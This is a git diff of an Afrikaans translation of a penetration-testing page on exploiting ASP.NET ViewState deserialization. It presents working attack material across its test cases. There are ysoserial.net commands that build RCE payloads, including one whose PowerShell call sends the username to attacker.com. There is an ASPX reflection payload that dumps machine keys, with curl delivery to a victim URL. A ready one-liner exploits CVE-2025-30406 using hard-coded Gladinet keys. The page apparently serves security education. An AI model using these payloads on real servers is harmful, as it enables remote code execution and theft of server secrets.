Translated ['src/pentesting-web/deserialization/exploiting-__viewstate-p

This commit is contained in:
Translator 2025-08-10 18:15:58 +00:00
parent e4e0e08a9b
commit 0305491688

View File

@ -4,7 +4,7 @@
## What is ViewState
## Wat is ViewState
**ViewState** dien as die standaardmeganisme in ASP.NET om bladsy- en kontroledata oor webblaaie te handhaaf. Tydens die weergawe van 'n bladsy se HTML, word die huidige toestand van die bladsy en waardes wat tydens 'n postback bewaar moet word, in base64-gecodeerde strings geserealiseer. Hierdie strings word dan in versteekte ViewState-velde geplaas.
@ -17,16 +17,16 @@ ViewState-inligting kan gekarakteriseer word deur die volgende eienskappe of hul
- **Base64 + Geënkripteer**:
- Enkripsie word toegepas wanneer die `ViewStateEncryptionMode` eienskap op waar gestel is, wat die vertroulikheid van ViewState-data verseker.
## Test Cases
## Toetsgevalle
Die beeld is 'n tabel wat verskillende konfigurasies vir ViewState in ASP.NET op grond van die .NET-raamwerkweergawe uiteensit. Hier is 'n opsomming van die inhoud:
1. Vir **enige weergawe van .NET**, wanneer beide MAC en Enkripsie gedeaktiveer is, is 'n MachineKey nie nodig nie, en dus is daar geen toepaslike metode om dit te identifiseer nie.
2. Vir **weergawes onder 4.5**, as MAC geaktiveer is maar Enkripsie nie, is 'n MachineKey nodig. Die metode om die MachineKey te identifiseer, word "Blacklist3r" genoem.
3. Vir **weergawes onder 4.5**, ongeag of MAC geaktiveer of gedeaktiveer is, as Enkripsie geaktiveer is, is 'n MachineKey nodig. Die identifisering van die MachineKey is 'n taak vir "Blacklist3r - Future Development."
4. Vir **weergawes 4.5 en hoër**, vereis alle kombinasies van MAC en Enkripsie (of albei waar is, of een waar en die ander vals) 'n MachineKey. Die MachineKey kan geïdentifiseer word met "Blacklist3r."
3. Vir **weergawes onder 4.5**, ongeag of MAC geaktiveer of gedeaktiveer is, as Enkripsie geaktiveer is, is 'n MachineKey nodig. Die identifisering van die MachineKey is 'n taak vir "Blacklist3r - Toekomstige Ontwikkeling."
4. Vir **weergawes 4.5 en hoër**, vereis alle kombinasies van MAC en Enkripsie (of albei waar is, of een waar is en die ander vals is) 'n MachineKey. Die MachineKey kan geïdentifiseer word met "Blacklist3r."
### Test Case: 1 EnableViewStateMac=false and viewStateEncryptionMode=false
### Toetsgeval: 1 EnableViewStateMac=false en viewStateEncryptionMode=false
Dit is ook moontlik om die ViewStateMAC heeltemal te deaktiveer deur die `AspNetEnforceViewStateMac` registersleutel op nul te stel in:
```
@ -41,8 +41,8 @@ ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "power
### Toetsgeval 1.5 Soos Toetsgeval 1, maar die ViewState koekie word nie deur die bediener gestuur nie
Ontwikkelaars kan **ViewState** verwyder sodat dit nie deel van 'n HTTP-versoek word nie (die gebruiker sal nie hierdie koekie ontvang nie).\
Mens kan aanneem dat as **ViewState** **nie teenwoordig** is nie, hul implementering **veilig** is teen enige potensiële kwesbaarhede wat met ViewState-deserialisering ontstaan.\
Dit is egter nie die geval nie. As ons die **ViewState parameter** by die versoekliggaam voeg en ons geserialiseerde payload wat met ysoserial geskep is, stuur, sal ons steeds in staat wees om **kode-uitvoering** te bereik soos in **Geval 1** gewys.
Mens kan aanneem dat as **ViewState** **nie teenwoordig** is nie, hul implementering **veilig** is teen enige potensiële kwesbaarhede wat met ViewState deserialisering ontstaan.\
Dit is egter nie die geval nie. As ons **ViewState parameter** by die versoekliggaam voeg en ons geserialiseerde payload wat met ysoserial geskep is, stuur, sal ons steeds in staat wees om **kode-uitvoering** te bereik soos in **Geval 1** gewys.
### Toetsgeval: 2 .Net < 4.5 en EnableViewStateMac=true & ViewStateEncryptionMode=false
@ -61,7 +61,7 @@ Ons kan dit ook doen vir die **oorhoofse** toepassing deur dit in die **web.conf
</system.web>
</configuration>
```
Aangesien die parameter MAC beskerm is, moet ons eers die sleutel wat gebruik is, hê om die aanval suksesvol uit te voer.
Aangesien die parameter hierdie keer MAC-beskermd is, moet ons eers die sleutel wat gebruik is, hê om die aanval suksesvol uit te voer.
Jy kan probeer om [**Blacklist3r(AspDotNetWrapper.exe)** ](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) te gebruik om die sleutel te vind wat gebruik is.
```
@ -102,25 +102,25 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Inv
--generator = {__VIWESTATEGENERATOR parameter value}
```
In gevalle waar die `_VIEWSTATEGENERATOR` parameter **nie gestuur** word nie deur die bediener, hoef jy **nie** die `--generator` parameter **te verskaf** nie, maar hierdie:
In gevalle waar die `_VIEWSTATEGENERATOR` parameter **nie gestuur** word deur die bediener nie, **hoef** jy **nie** die `--generator` parameter **te verskaf** nie, **maar hierdie**:
```bash
--apppath="/" --path="/hello.aspx"
```
### Toetsgeval: 3 .Net < 4.5 en EnableViewStateMac=true/false en ViewStateEncryptionMode=true
In hierdie geval is dit nie bekend of die parameter met MAC beskerm word nie. Dan is die waarde waarskynlik versleuteld en jy sal **die Masjien Sleutel nodig hê om jou payload te versleutelen** om die kwesbaarheid te benut.
In hierdie geval is dit nie bekend of die parameter met MAC beskerm word nie. Dan is die waarde waarskynlik geënkripteer en jy sal **die Masjien Sleutel nodig hê om jou payload te enkripteer** om die kwesbaarheid te benut.
**In hierdie geval is die** [**Blacklist3r**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) **module in ontwikkeling...**
**Voor .NET 4.5** kan ASP.NET **'n** **onversleutelde** \_`__VIEWSTATE`\_parameter van die gebruikers **aanvaar** **selfs** as **`ViewStateEncryptionMode`** op _**Altyd**_ gestel is. ASP.NET **kontroleer slegs** die **teenwoordigheid** van die **`__VIEWSTATEENCRYPTED`** parameter in die versoek. **As 'n mens hierdie parameter verwyder, en die onversleutelde payload stuur, sal dit steeds verwerk word.**
**Voor .NET 4.5** kan ASP.NET **'n** **ongeënkripteerde** \_`__VIEWSTATE`\_parameter van die gebruikers **aanvaar** **selfs** as **`ViewStateEncryptionMode`** op _**Altijd**_ gestel is. ASP.NET **kontroleer slegs** die **teenwoordigheid** van die **`__VIEWSTATEENCRYPTED`** parameter in die versoek. **As 'n mens hierdie parameter verwyder en die ongeënkripteerde payload stuur, sal dit steeds verwerk word.**
Daarom, as die aanvallers 'n manier vind om die Masjien Sleutel via 'n ander kwesbaarheid soos lêer traversering te verkry, kan die [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) opdrag wat in die **Geval 2** gebruik is, gebruik word om RCE uit te voer met behulp van die ViewState deserialisering kwesbaarheid.
- Verwyder die `__VIEWSTATEENCRYPTED` parameter uit die versoek om die ViewState deserialisering kwesbaarheid te benut, anders sal dit 'n Viewstate MAC valideringsfout teruggee en die uitbuiting sal misluk.
- Verwyder die `__VIEWSTATEENCRYPTED` parameter uit die versoek om die ViewState deserialisering kwesbaarheid te benut, anders sal dit 'n Viewstate MAC validasie fout teruggee en die uitbuiting sal misluk.
### Toetsgeval: 4 .Net >= 4.5 en EnableViewStateMac=true/false en ViewStateEncryptionMode=true/false behalwe dat beide eienskappe op false gestel is
### Toetsgeval: 4 .Net >= 4.5 en EnableViewStateMac=true/false en ViewStateEncryptionMode=true/false behalwe albei eienskappe op false
Ons kan die gebruik van die ASP.NET raamwerk afdwing deur die onderstaande parameter in die web.config-lêer soos hieronder aan te dui.
Ons kan die gebruik van die ASP.NET raamwerk afdwing deur die onderstaande parameter binne die web.config lêer soos hieronder aan te dui.
```xml
<httpRuntime targetFramework="4.5" />
```
@ -128,7 +128,7 @@ Alternatiewelik kan dit gedoen word deur die onderstaande opsie binne die `machi
```bash
compatibilityMode="Framework45"
```
Soos in die vorige is die **waarde geënkripteer.** Dan, om 'n **geldige las te stuur, het die aanvaller die sleutel nodig.**
Soos in die vorige keer is die **waarde geënkripteer.** Dan, om 'n **geldige payload te stuur, het die aanvaller die sleutel nodig**.
Jy kan probeer om [**Blacklist3r(AspDotNetWrapper.exe)** ](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) te gebruik om die sleutel te vind wat gebruik word:
```
@ -147,11 +147,11 @@ python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6
```
![https://user-images.githubusercontent.com/24899338/227043316-13f0488f-5326-46cc-9604-404b908ebd7b.png](https://user-images.githubusercontent.com/24899338/227043316-13f0488f-5326-46cc-9604-404b908ebd7b.png)
Sodra 'n geldige masjinsleutel geïdentifiseer is, **is die volgende stap om 'n geserialiseerde payload te genereer met behulp van** [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)
Sodra 'n geldige masjien sleutel geïdentifiseer is, **is die volgende stap om 'n geserialiseerde payload te genereer met behulp van** [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)
```
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2" --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
```
As jy die waarde van `__VIEWSTATEGENERATOR` het, kan jy probeer om die `--generator` parameter met daardie waarde te **gebruik** en die parameters `--path` en `--apppath` te **om te laat**.
As jy die waarde van `__VIEWSTATEGENERATOR` het, kan jy probeer om die `--generator` parameter met daardie waarde te **gebruik** en die parameters `--path` en `--apppath` te **omskip**.
![](https://notsosecure.com/sites/all/assets/group/nss_uploads/2019/06/4.2.png)
@ -160,7 +160,7 @@ As jy die waarde van `__VIEWSTATEGENERATOR` het, kan jy probeer om die `--genera
### Toetsgeval 6 ViewStateUserKeys word gebruik
Die **ViewStateUserKey** eienskap kan gebruik word om teen 'n **CSRF-aanval** te **verdedig**. As so 'n sleutel in die toepassing gedefinieer is en ons probeer om die **ViewState** payload te genereer met die metodes wat tot nou toe bespreek is, sal die **payload nie deur die toepassing verwerk word**.\
Jy moet een meer parameter gebruik om die payload korrek te skep:
Jy moet nog een parameter gebruik om die payload korrek te skep:
```bash
--viewstateuserkey="randomstringdefinedintheserver"
```
@ -172,7 +172,7 @@ Kontroleer vir [verdere inligting hier](<https://github.com/carlospolop/hacktric
### Dumping ASP.NET Masjien Sleutels via Reflectie (SharPyShell/SharePoint ToolShell)
Aanvallers wat in staat is om **arbitraire ASPX kode op te laai of uit te voer** binne die teiken web wortel kan direk die geheime sleutels wat `__VIEWSTATE` beskerm, verkry in plaas van om hulle te brute-force.
Aanvallers wat in staat is om **arbitraire ASPX kode op te laai of uit te voer** binne die teiken web wortel kan direk die geheime sleutels wat `__VIEWSTATE` beskerm, verkry in plaas van om dit te brute-force.
'n Minimale payload wat die sleutels lek, benut interne .NET klasse deur middel van reflectie:
```csharp
<%@ Import Namespace="System.Web.Configuration" %>
@ -201,12 +201,52 @@ curl "http://victim/page.aspx?__VIEWSTATE=<PAYLOAD>"
```
Hierdie **key-exfiltration primitive** is in 2025 massaal teen on-prem SharePoint bedieners uitgebuit ("ToolShell" CVE-2025-53770/53771), maar dit is van toepassing op enige ASP.NET toepassing waar 'n aanvaller server-kant kode kan uitvoer.
## 2024-2025 Werklike Exploit-scenario's en Hard-gecodeerde Masjien Sleutels
### Microsoft “openlik bekendgemaakte masjien sleutels” golf (Des 2024 Feb 2025)
Microsoft Threat Intelligence het massale uitbuiting van ASP.NET webwerwe gerapporteer waar die *machineKey* voorheen op openbare bronne (GitHub gists, blogposte, paste sites) gelek is. Teenstanders het hierdie sleutels genummeerd en geldige `__VIEWSTATE` gadgets gegenereer met die nuwer `ysoserial.net` 1.41 `--minify` en `--islegacy` vlae om WAF lengte beperkings te ontduik:
```bash
ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "whoami" \
--validationkey=<LEAKED_VALIDATION_KEY> --validationalg=SHA1 \
--decryptionkey=<LEAKED_DECRYPTION_KEY> --decryptionalg=AES \
--generator=<VIEWSTATEGEN> --minify
```
Rotasie van statiese sleutels of oorgang na *AutoGenerate* sleutels in Web .config (`<machineKey ... validationKey="AutoGenerate" decryptionKey="AutoGenerate" />`) verminder hierdie klas aanvalle. {{#ref}}
{{#endref}}
### CVE-2025-30406 Gladinet CentreStack / Triofox hard-gecodeerde sleutels
Kudelski Security het ontdek dat verskeie CentreStack / Triofox weergawe met identiese `machineKey` waardes verskaf is, wat nie-geoutentiseerde afstands kode-uitvoering deur ViewState vervalsing moontlik maak (CVE-2025-30406).
Een-liner uitbuiting:
```bash
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "calc.exe" \
--validationkey=ACC97055B2A494507D7D7C92DC1C854E8EA7BF4C \
--validationalg=SHA1 \
--decryptionkey=1FB1DEBB8B3B492390B2ABC63E6D1B53DC9CA2D7 \
--decryptionalg=AES --generator=24D41AAB --minify \
| curl -d "__VIEWSTATE=$(cat -)" http://victim/portal/loginpage.aspx
```
Fixeer in CentreStack 16.4.10315.56368 / Triofox 16.4.10317.56372 opgradeer of vervang die sleutels onmiddellik. {{#ref}}
{{#endref}}
## Verwysings
- [Exploiting ViewState deserialization using Blacklist3r and YSoSerial.NET](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)
- [Deep dive into .NET ViewState deserialization and its exploitation](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817)
- [Exploiting deserialisation in ASP.NET via ViewState (Soroush Dalili, 2019)](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
- [Introducing badsecrets fast machineKey discovery](https://blog.blacklanternsecurity.com/p/introducing-badsecrets)
- [SharePoint “ToolShell” exploitation chain (Eye Security, 2025)](https://research.eye.security/sharepoint-under-siege/)
- [Microsoft Security Code injection attacks abusing publicly disclosed ASP.NET machine keys (Feb 6 2025)](https://www.microsoft.com/en-us/security/blog/2025/02/06/code-injection-attacks-using-publicly-disclosed-asp-net-machine-keys/)
- [Kudelski Security advisory Gladinet CentreStack / Triofox RCE CVE-2025-30406 (Apr 16 2025)](https://research.kudelskisecurity.com/2025/04/16/gladinet-centrestack-and-gladinet-triofox-critical-rce-cve-2025-30406/)
- [**https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)
- [**https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817**](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817)
- [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
- [**https://blog.blacklanternsecurity.com/p/introducing-badsecrets**](https://blog.blacklanternsecurity.com/p/introducing-badsecrets)
- [SharePoint “ToolShell” exploitation chain (Eye Security, 2025)](https://research.eye.security/sharepoint-under-siege/)
{{#include ../../banners/hacktricks-training.md}}